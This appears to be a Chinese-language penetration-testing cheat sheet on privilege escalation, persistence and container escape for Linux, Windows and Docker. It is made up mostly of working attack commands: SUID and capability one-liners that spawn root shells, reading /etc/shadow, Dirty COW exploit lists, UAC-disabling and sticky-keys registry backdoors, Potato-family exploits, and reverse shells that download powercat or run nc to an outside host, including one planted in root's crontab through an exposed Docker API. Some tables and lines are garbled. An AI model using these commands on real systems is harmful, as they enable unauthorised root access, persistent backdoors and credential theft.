提权
[TOC]
https://www.huangmj.com/17116743651246.html#36-sudo-mysql
linux
信息收集
内核设备信息:
uname -a 打印所有可用的系统信息
uname -r 内核版本
uname -n 系统主机名。
uname -m 查看系统内核架构(64位/32位)
hostname 系统主机名
cat /proc/version 内核信息 cat /etc/*-release 分发信息 cat /etc/issue 分发信息
cat /proc/cpuinfo CPU信息用户和群组信息:
cat /etc/passwd 列出系统上的所有用户
cat /etc/group 列出系统上的所有组
grep -v -E “^#” /etc/passwd | awk -F: ‘$3 == 0 { print $1}’ 列出所有的超级用户账户
whoami 查看当前用户
w 谁目前已登录,他们正在做什么
last 最后登录用户的列表
lastlog 所有用户上次登录的信息
lastlog -u %username% 有关指定用户上次登录的信息
lastlog |grep -v “Never” 以前登录用户的信息
history
cat /home/
cat ~/.bash_history | grep -i passw
用户和权限信息:
whoami 当前用户名
id 当前用户信息
cat /etc/sudoers 谁被允许以root身份执行 sudo -l 当前用户可以以root身份执行操作 环境系统变量信息:
env 显示环境变量
set 现实环境变量
echo %PATH 路径信息
history 显示当前用户的历史命令记录
pwd 输出工作目录
cat /etc/profile 显示默认系统变量
cat /etc/shells 显示可用的shell
hashdump
https://github.com/huntergregal/mimipenguin
转储hash,有可能获得铭文密码。
suid
探测
find / -user root -perm -4000 -print 2>/dev/null find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;
常见的可以提权的程序:
nmap vim find Bash More Less Nano cp netcat
利用方式
linux: https://gtfobins.github.io/
windows:
https://lolbas-project.github.io/
修改PATH
假如有以下suid程序:
system(“cat /flag”);
可以修改PATH来让root运行我们的cat。
export PATH=/tmp && /exp
/tmp/cat中为恶意程序
sudo
探测
Linux系统中可以使用sudo执行一个只有root才能执行的命令,配置文件保存在/etc/sudoers,sudo -l可以列出当前用户支持sudo的命令。
cap
我们运行SUID的命令时,通常只是需要使用一小部分特权,但是使用SUID,却可以拥有root用户的全部权限。所以,一旦SUID的文件存在漏洞,便可能被利用,以root身份执行其他操作。
SUID的问题,主要在于权限控制太粗糙。为了对root身份进行更加精细的控制,Linux增加了另一种机制,即 capabilities。
探测
getcap -r / 2>/dev/null
利用
gdb
gdb -nx -ex ‘python import os; os.setuid(0)’ -ex ‘!sh’ -ex quit
perl
perl -e ‘use POSIX qw(setuid); POSIX::setuid(0); exec “/bin/sh”;’
php
php -r “posix_setuid(0); system(‘/bin/sh’);”
python
python -c ‘import os; os.setuid(0); os.system(“/bin/sh”)’
ruby
ruby -e ‘Process::Sys.setuid(0); exec “/bin/sh”‘
rvim
rvim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
vim
vim -c ‘:py import os; os.setuid(0); os.execl(“/bin/sh”, “sh”, “-c”, “reset; exec sh”)’
tar cap_dac_read_search可以绕过文件的读权限检查以及目录的读/执行权限的检查,利用此特性我们可以读取系统中的敏感信息。
tar -vcf root.tar /root
openssl 建立http服务器,通过http越权下载文件
# 使用openssl生成证书
┌──(kali㉿kali)-[/]
└─$ openssl req -x509 -newkey rsa:2048 -keyout /tmp/key.pem -out /tmp/cert.pem - days 365 -nodes
# 进入系统根目录下
┌──(kali㉿kali)-[/]
└─$ cd /
# 启动web服务器,监听8080端口
┌──(kali㉿kali)-[/]
└─$ openssl s_server -key /tmp/key.pem -cert /tmp/cert.pem -port 8080 -HTTP
# 访问本机的web服务,读取/etc/shadow文件
┌──(kali㉿kali)-[~]
└─$ curl –http0.9 -k “https://127.0.0.1:8080/etc/shadow“ root:!:18681:0:99999:7:::
daemon::18681:0:99999:7::: bin::18681:0:99999:7:::
sys:*:18681:0:99999:7:::
sync:*:18681:0:99999:7:::
内核漏洞
探测
linux-exploit-suggester
详见工具.md
利用
Linux
常见漏洞详见tools/linux-kernel-exploits
大部分exp需要自己编译。使用docker的交叉编译环境(https://github.com/dockcross/dockcross)
dirty cow
https://dirtycow.ninja/ 交叉编译.受影响版本:
Centos7/RHEL7
Cetnos6/RHEL6 Ubuntu 16.10
Ubuntu 16.04
Ubuntu 14.04
Debian 8
Debian 7
3.10.0-327.36.3.el7
2.6.32-642.6.2.el6
4.8.0-26.28
4.4.0-45.66
3.13.0-100.147
3.16.36-1+deb8u2
3.2.82-1
Link | Usage | Description | Family |
---|---|---|---|
dirtyc0w.c | ./dirtyc0w file content | Read-only write | /proc/self/mem |
cowroot.c | ./cowroot | SUID-based root | /proc/self/mem |
dirtycow- mem.c
./dirtycow-mem libc-based root /proc/self/mem
pokemon.c ./d file content Read-only write PTRACE_POKEDATA dirtyc0w.c ./dirtycow file content Read-only write (Android) /proc/self/mem
dirtycow.rb | use exploit/linux/local/dirtycow and run | SUID-based root | /proc/self/mem |
---|---|---|---|
0xdeadbeef.c | ./0xdeadbeef | vDSO-based root | PTRACE_POKEDATA |
naughtyc0w.c | ./c0w suid | SUID-based root | /proc/self/mem |
c0w.c | ./c0w | SUID-based root | PTRACE_POKEDATA |
mucow.c ./mucow destination < payload.exe Read-only write (multi
page)
PTRACE_POKEDATA
dcow.cpp ./dcow /etc/passwd based root /proc/self/mem
dirtyc0w.go go run dirtyc0w.go -f=file - c=content
Read-only write /proc/self/mem
dirty.c ./dirty /etc/passwd based root PTRACE_POKEDATA
Windows
https://github.com/SecWiki/windows-kernel-exploits
计划任务
基础知识
/var/spool/cron/ 目录下存放的是每个用户包括root的crontab任务,每个任务以创建者的名字命名
/etc/crontab 这个文件负责调度各种管理和维护任务。
/etc/cron.d/ 这个目录用来存放任何要执行的crontab文件或脚本。
我们还可以把脚本放
在/etc/cron.hourly、/etc/cron.daily、/etc/cron.weekly、/etc/cron.monthly目录中,让它每小时/天/星期、月执行一次。
* * * * * user Command #每分钟 #分、时、日、月、周
软连接
*作用
sh中*会自动解析成当前目录下所有文件名:
#!/bin/bash echo @$;
./test.sh *
# 输出当前文件夹下所有文件名
可以用于参数注入,比如tar */cp *
权限维持
添加用户
useradd newuser;echo “newuser:password”|chpasswd
添加suoder
修改 /etc/sudoers 文件,找到下面一行,在root下面添加一行,如下所示:
root ALL=(ALL) ALL
windows
https://github.com/SecWiki/windows-kernel-exploits
Runas
RUNAS 用法:
RUNAS [ [/noprofile | /profile] [/env] [/savecred | /netonly] ] /user:
runas /noprofile /user:mymachine\administrator cmd
说明:使用本机上的Administrator管理员身份执行CMD,/noprofile为不加载该用户的配置信息。
runas /profile /env /user:mydomain\admin “mmc %windir%\system32\dsa.msc”
说明:使用本机上的admin身份扫行msc控制台。 /profile为指定加载用户配置文件。 /env 表示使用当前环境。
runas /env /user:user@domain.microsoft.com “notepad \”my file.txt\””
说明:使用域用户身份运行,并指定使用notepad打开my file.txt文档。 RunasCs是第三方的升级工具:
允许显式凭证
无论是从交互进程还是从服务进程生成,都可以工作正确管理窗口站和桌面的DACL以创建新进程
使用更可靠的创建进程函数,例如CreateProcessAsUser(),CreateProcessWithTokenW()如果调用进程拥有所需的权限(自动检测)
允许指定登录类型,例如 8-NetworkCleartext 登录(无UAC限制)当知道管理员密码时允许绕过 UAC(标志 –bypass-uac)
允许创建一个主线程模拟请求用户的进程(标志–remote-impersonation)允许将stdin、stdout和stderr重定向到远程主机
它是开源的:)
https://github.com/antonioCoco/RunasCs
kali/tools/pentest/priv/windows-exe/runascs
反弹shell
powershell工具: powercat.ps1
powershell IEX (New-Object
System.Net.Webclient).DownloadString(‘http://ip:port/powercat.ps1‘); powercat -c IP -p 端口 -e cmd
无文件后门
memfd_create 是 Linux 中的一个系统调用,用于创建一个内存文件描述符。这个文件描述符可以用于共享内存、匿名内存映射或其他与文件无关的 I/O 操作。
int memfd_create(const char *name, unsigned int flags);
// name:一个可选的名称,用于标识这个内存文件描述符。如果设置为NULL,则使用默认名称。
// flags:用于指定创建的内存文件描述符的特性。例如,可以使用 MFD_CLOEXEC 和
MFD_ALLOW_SEALING 等标志。
内核溢出漏洞提权
信息收集
msf
dos命令
post/windows/gather/enum_applications 查看系统可能存在的可以利用的漏洞
post/windows/gather/enum_patches 查找系统中的补丁信息。
post/multi/recon/local_exploit_suggester
Windows Exploit Suggester
chcp 437 # 将语言设为英文
systeminfo
Wmic qfe get Caption,Description,HotFixID,InstalledOn # 查看windows机器上安装了多少补丁
schtasks /query /fo LIST /v # 查看计划任务
# 将systeminfo保存到文件
python2 windows-exploit-suggester.py –update # 更新漏洞数据库
python2 windows-exploit-suggester.py -d <漏洞库文件> -i sysinfo.txt
Getsystem
msf:
meterpreter > getsystem
UAC提权
msf
windows/local/bypassuac模块 注册表
注意 windows 2008 及以上系统在默认情况下开启 UAC 策略, 不允许 administrator 以外的其它本地管理员用户访问远程资源.
可通过更改注册表关闭 UAC 策略.
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
令牌窃取
msf:
use incognito #进入incognito模块 list_tokens -u #列出令牌
impersonate_token “WIN-HN02RO8B2OU\86158” #模仿令牌(它没有扫描处我的靶机里面的 system权限的用户,所以我将就模仿)
windows 系统配置错误提权
系统服务权限配置错误
windows系统服务文件在操作系统启动时加载执行,并在后台调用可执行文件。如果一个低权限的用户对此类系统服务调用的可执行文件拥有写权限,那么就可以替换该文件,并随着系统启动获得控制权限。
msf
use exploit/windows/local/service_permissions
service_permissions模块会使用 两种方式获取system权限 如果以管理员权限运行 会尝试创建并运行一个新的服务 如果当前权限不允许创建服务 会判断哪些服务的文件或文件夹的权限有问题 并对其进行劫持 在劫持服务时会创建一个可执行程序 其文件名和安装路径都是随机的
注册表键AlwaysInstallElevated
允许低权限用户以System权限安装文件。如果启用此策略设置项,那么任何权限的用户都以NT Authority\System权限来安装恶意的MSI文件。
该模块会创建一个文件名随机的MSI文件 并在提权后删除所有已部署的文件
msf:
use exploit/windows/local/always_install_elevated
自动安装配置文件
网络管理员在内网中给多台机器配置同一个环境时,通常不会逐个配置,而是使用脚本批量部署。在这个过程中,会使用安装配置文件。这些文件中包含所有的安装配置信息,其中一些还可能包含管理员账号和密码
msf:
use post/windows/gather/enum_unattend
组策略首选项提权
msf:
use post/windows/gather/credentials/gpp
映像劫持
注册表当前用户可修改。
注册表路径下IFEO(image file execution options)的exe程序被修改,然后进行重定向执行门程序的过程,也就是说你在执行A程序时候,由于IFEO劫持的原因执行了B程序
# RDP登录界面按Windows 键+U,获得一个SYSTEM权限的 cmd.exe
>REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe” /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
# 在 RDP 登录屏幕时按多次shift
>REG ADD “HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe” /t REG_SZ /v Debugger /d “C:\windows\system32\cmd.exe” /f
启动项:
>reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run” /v Evil
/t REG_SZ /d “C:\Users\user\backdoor.exe”
>reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce” /v Evil /t REG_SZ /d “C:\Users\user\backdoor.exe”
>reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices”
/v Evil /t REG_SZ /d “C:\Users\user\backdoor.exe”
>reg add
“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce” /v Evil /t REG_SZ /d “C:\Users\user\backdoor.exe”
service劫持
修改以高权限用户执行的服务的imagepath。通过sc命令启动服务。
reg修改注册表
power up
使用 PowerUp 脚本可以快速的帮助我们发现系统弱点,从而实现提权的目的。
其中PowerUp.ps1文件可从这里下载:https://github.com/PowerShellMafia/PowerSploit/tree/master/Privesc beacon:
powershell-import PowerUp.ps1 powershell invoke-allchecks
如果在自己的靶机上发现导入ps1文件失败,这可能是因为系统不允许执行不信任的脚本文件导致的。
这时为了复现成功可以来到靶机下,以管理员权限打开 Powershell,运行set-ExecutionPolicy RemoteSigned,输入Y回车,此时系统便能导入PowerUp.ps1文件了。
potato系列提权
Hot potato
https://github.com/Kevin-Robertson/Tater
Import-Module .\Tater.ps1
Invoke-Tater -Command “whoami”
Rotten Potato & JuicyPotato
https://github.com/ohpe/juicy-potato
在指定 ip 和端口的位置尝试加载一个 COM 对象
RottenPotatoNG 使用的 COM 对象为 BITS,CLSID 为 {4991d34b-80a1-4291-83b6-3328366b9097}可供选择的 COM 对象不唯一,Juicy Potato 提供了多个,详细列表可参考如下地址: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
RottenPotatoNG 使用的 135 端口
Juicy Potato 支持指定任意本地端口,但是 RPC 一般默认为135端口,很少被修改
clsid参考列表: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md
JuicyPotato.exe -t * -l 1112 -p exp.bat
参数
T:>JuicyPotato.exe JuicyPotato v0.1
Mandatory args:
-t createprocess call:
-p
-l
Optional args:
-m
-a
-k
-n
-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z only test CLSID and print token’s user
可以根据系统选择clsid,test_clsid.bat可以测试可用的clsid(https://github.com/ohpe/juicy- potato/blob/master/Test/test_clsid.bat)
PrintSpoofer (PipePotato or BadPotato)
https://github.com/itm4n/PrintSpoofer
PrintSpoofer.exe -c “C:\TOOLS\nc.exe 10.10.13.37 1337 -e cmd”
RoguePotato
https://github.com/antonioCoco/RoguePotato
# 先在vps上监听端口
socat tcp-listen:135,reuseaddr,fork tcp:10.0.0.3:9999
{6d8ff8e1-730d-11d4-bf42-00b0d0118b56}” -p splintercode
# 或者ncwhile true; do nc -l -p 135 -c nc -l -p 135 | nc 0.0.0.0 9999 | ‘nc 0.0.0.0 9999’; done | ||||
---|---|---|---|---|---|
RoguePotato.exe -r 10.0.0.3 -e | “C:\windows\system32\cmd.exe” | -l | 9999 | ||
# 或者自己选择clsid和管道RoguePotato.exe -r 10.0.0.3 -e | “C:\windows\system32\cmd.exe” | -l | 9999 | -c | “ |
SweetPotato
COM/WinRM/Spoolsv 的集合版,也就是 Juicy/PrintSpoofer 的集合版 https://github.com/CCob/SweetPotato https://github.com/uknowsec/SweetPotato
SweetPotato.exe -a “whoami”
权限维持
添加用户
添加高权限用户
net user
net localgroup administrators fushuling /add
登录以后以管理员权限运行cmd
powershell -Command “Start-Process cmd -Verb RunAs” exit
# 或者
echo
docker逃逸
docker.sock挂载逃逸
Docker Client 和 Docker Daemon
Docker Client:这是用户通过命令行与 Docker 进行交互的工具(例如你输入的 docker run 命令)。它提供了一个用户界面来管理 Docker 容器和镜像。
Docker Daemon:后台运行的服务(进程),负责管理 Docker 容器的创建、运行、停止等操作。它接收来自 Docker Client 的请求,并处理这些请求。
需要挂载/var/run/docker.sock,并在容器内安装docker。
挂载宿主机docker.sock后,使用docker运行容器等操作时连接的是宿主机的docker daemon。
利用
apt-get update
apt-get install docker.io
docker run -it -v /:/host ubuntu:18.04 /bin/bash # 将宿主机/挂载到新容器的/host。
# 以上均在容器内执行。
挂载proc
从 2.6.19 内核版本开始,Linux 支持在 /proc/sys/kernel/core_pattern 中使用新语法。如果该文件中的首个字符是管道符 | ,那么该行的剩余内容将被当作用户空间程序或脚本解释并执行。
触发点在于/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。如果程序崩溃就会执行我们的命令
查找容器内core_pattern
find / -name core_pattern
如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs
找到docker中文件对应宿主机的绝对路径:
cat /proc/mounts | xargs -d ‘,’ -n 1 | grep workdir
找到的路径是宿主机中对应容器根目录的路径。
执行命令脚本:
#!/bin/bash
touch /tmp/ppp
崩溃程序: 用gcc编译
#include<stdio.h> int main(void) {
int *a = NULL;
*a = 1;
return 0;
}
写入core_pattern:
echo
“|/var/lib/docker/overlay2/82e9bf4baeaeef452bc9cf50a4c7ca11c8e108fe51e5f70546211fe 46a06678c/merged/tmp/.lll.sh” > /host/proc/sys/kernel/core_pattern
然后在容器内执行崩溃程序即可逃逸。
特权模式
查看是否以特权模式启动
cat /proc/self/status | grep CapEff
如果是以特权模式启动的话,CapEff 对应的掩码值应该为0000003fffffffff 或者是 0000001fffffffff
利用
# 查找磁盘位置
fdisk -l
# 挂载磁盘到我们的目录
mkdir /lll && mount /dev/sda1 /lll
docker未授权访问
docker启动http api:
dockerd -H unix:///var/run/docker.sock -H 0.0.0.0:2375
执行命令:
POST /containers/
Content-Type: application/json Content-Length: 188
{
“AttachStdin”: true, “AttachStdout”: true, “AttachStderr”: true,
“Cmd”: [“命令”, “参数”],
比如(cat /etc/passwd)
“DetachKeys”: “ctrl-p,ctrl-q”, “Privileged”: true,
“Tty”: true
}
定时任务逃逸:
import docker
client = docker.DockerClient(base_url=’http://your-ip:2375/‘)
data = client.containers.run(‘alpine:latest’, r’’’sh -c “echo ‘* * * * *
/usr/bin/nc your-ip 21 -e /bin/sh’ >> /tmp/etc/crontabs/root” ‘’’, remove=True, volumes={‘/etc’: {‘bind’: ‘/tmp/etc’, ‘mode’: ‘rw’}})